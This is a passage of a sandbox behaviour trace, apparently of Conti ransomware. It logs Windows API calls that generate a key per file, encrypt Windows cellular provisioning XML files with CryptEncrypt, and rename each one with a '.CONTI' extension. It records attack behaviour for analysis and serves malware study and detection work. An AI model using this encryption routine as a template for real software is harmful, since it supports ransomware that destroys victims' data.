	[0110.078] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=650) returned 1
	[0110.078] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28a
	[0110.078] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.078] SetEndOfFile (hFile=0x3dc) returned 1
	[0110.079] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.079] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.079] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b77f7c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x6b77f7c*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0110.080] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.080] ReadFile (in: hFile=0x3dc, lpBuffer=0x8950000, nNumberOfBytesToRead=0x28a, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x28a, lpOverlapped=0x0) returned 1
	[0110.080] CryptEncrypt (in: hKey=0x6b7ef78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x28a, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x290) returned 1
	[0110.080] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.081] WriteFile (in: hFile=0x3dc, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x290, lpOverlapped=0x0) returned 1
	[0110.081] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.081] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b77f70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x6b77f70*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0110.081] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.081] CloseHandle (hObject=0x3dc) returned 1
	[0110.081] GetProcessHeap () returned 0x1720000
	[0110.081] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.081] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml"
	[0110.081] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml.CONTI"
	[0110.081] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\293__connections_cellular_tele2 (netherlands)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\293__connections_cellular_tele2 (netherlands)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0110.082] GetProcessHeap () returned 0x1720000
	[0110.082] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.082] CryptDestroyKey (hKey=0x6b7ef78) returned 1
	[0110.082] GetProcessHeap () returned 0x1720000
	[0110.082] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b70888 | out: hHeap=0x1720000) returned 1
	[0110.082] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0110.082] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x6b76af0 | out: phKey=0x6b76af0*=0x6b7f3b8) returned 1
	[0110.082] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b76af4, pdwDataLen=0x37ffcec | out: pbData=0x6b76af4*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0110.083] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\294__connections_cellular_telfort (netherlands)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.083] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\294__connections_cellular_telfort (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0110.083] GetLastError () returned 0x0
	[0110.083] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=725) returned 1
	[0110.083] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d5
	[0110.083] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.083] SetEndOfFile (hFile=0x3dc) returned 1
	[0110.083] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.083] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.083] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b76af4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x6b76af4*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0110.085] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.085] ReadFile (in: hFile=0x3dc, lpBuffer=0x8950000, nNumberOfBytesToRead=0x2d5, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x2d5, lpOverlapped=0x0) returned 1
	[0110.085] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2d5, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2e0) returned 1
	[0110.085] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.085] WriteFile (in: hFile=0x3dc, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.085] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.086] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b76ae8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x6b76ae8*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0110.086] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.086] CloseHandle (hObject=0x3dc) returned 1
	[0110.086] GetProcessHeap () returned 0x1720000
	[0110.086] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.086] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml"
	[0110.086] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.086] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\294__connections_cellular_telfort (netherlands)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\294__connections_cellular_telfort (netherlands)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.086] GetProcessHeap () returned 0x1720000
	[0110.086] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.087] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0110.087] GetProcessHeap () returned 0x1720000
	[0110.087] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6561d70 | out: hHeap=0x1720000) returned 1
	[0110.087] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0110.087] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x6b77658 | out: phKey=0x6b77658*=0x6b7f3b8) returned 1
	[0110.087] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b7765c, pdwDataLen=0x37ffcec | out: pbData=0x6b7765c*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0110.087] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\295__connections_cellular_telfort (netherlands)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0110.088] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\295__connections_cellular_telfort (netherlands)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0110.088] GetLastError () returned 0x0
	[0110.088] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=728) returned 1
	[0110.088] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d8
	[0110.088] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.088] SetEndOfFile (hFile=0x3dc) returned 1
	[0110.088] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.088] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.088] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b7765c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x6b7765c*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0110.090] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.090] ReadFile (in: hFile=0x3dc, lpBuffer=0x8950000, nNumberOfBytesToRead=0x2d8, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x2d8, lpOverlapped=0x0) returned 1
	[0110.090] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2d8, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2e0) returned 1
	[0110.090] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.090] WriteFile (in: hFile=0x3dc, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.090] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.090] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b77650*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x6b77650*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0110.090] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.090] CloseHandle (hObject=0x3dc) returned 1
	[0110.090] GetProcessHeap () returned 0x1720000
	[0110.090] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.091] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml"
	[0110.091] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml.CONTI"
	[0110.091] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\295__connections_cellular_telfort (netherlands)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\295__connections_cellular_telfort (netherlands)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0110.091] GetProcessHeap () returned 0x1720000
	[0110.091] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.091] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0110.091] GetProcessHeap () returned 0x1720000
	[0110.091] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65603e8 | out: hHeap=0x1720000) returned 1
	[0110.091] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0110.091] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x6b771c8 | out: phKey=0x6b771c8*=0x6b7f3b8) returned 1
	[0110.091] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b771cc, pdwDataLen=0x37ffcec | out: pbData=0x6b771cc*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0110.092] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\296__connections_cellular_telfort (netherlands)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0110.092] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\296__connections_cellular_telfort (netherlands)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0110.092] GetLastError () returned 0x0
	[0110.092] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=736) returned 1
	[0110.092] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2e0
	[0110.093] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.093] SetEndOfFile (hFile=0x3dc) returned 1
	[0110.093] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.093] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.093] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b771cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x6b771cc*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0110.094] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.095] ReadFile (in: hFile=0x3dc, lpBuffer=0x8950000, nNumberOfBytesToRead=0x2e0, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.095] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2e0, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2f0) returned 1
	[0110.095] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.095] WriteFile (in: hFile=0x3dc, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2f0, lpOverlapped=0x0) returned 1
	[0110.095] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.095] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b771c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x6b771c0*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0110.095] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.095] CloseHandle (hObject=0x3dc) returned 1
	[0110.095] GetProcessHeap () returned 0x1720000
	[0110.095] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.095] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml"
	[0110.095] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\296__Connections_Cellular_Telfort (Netherlands)_i2$(__MVID)@WAP.provxml.CONTI"
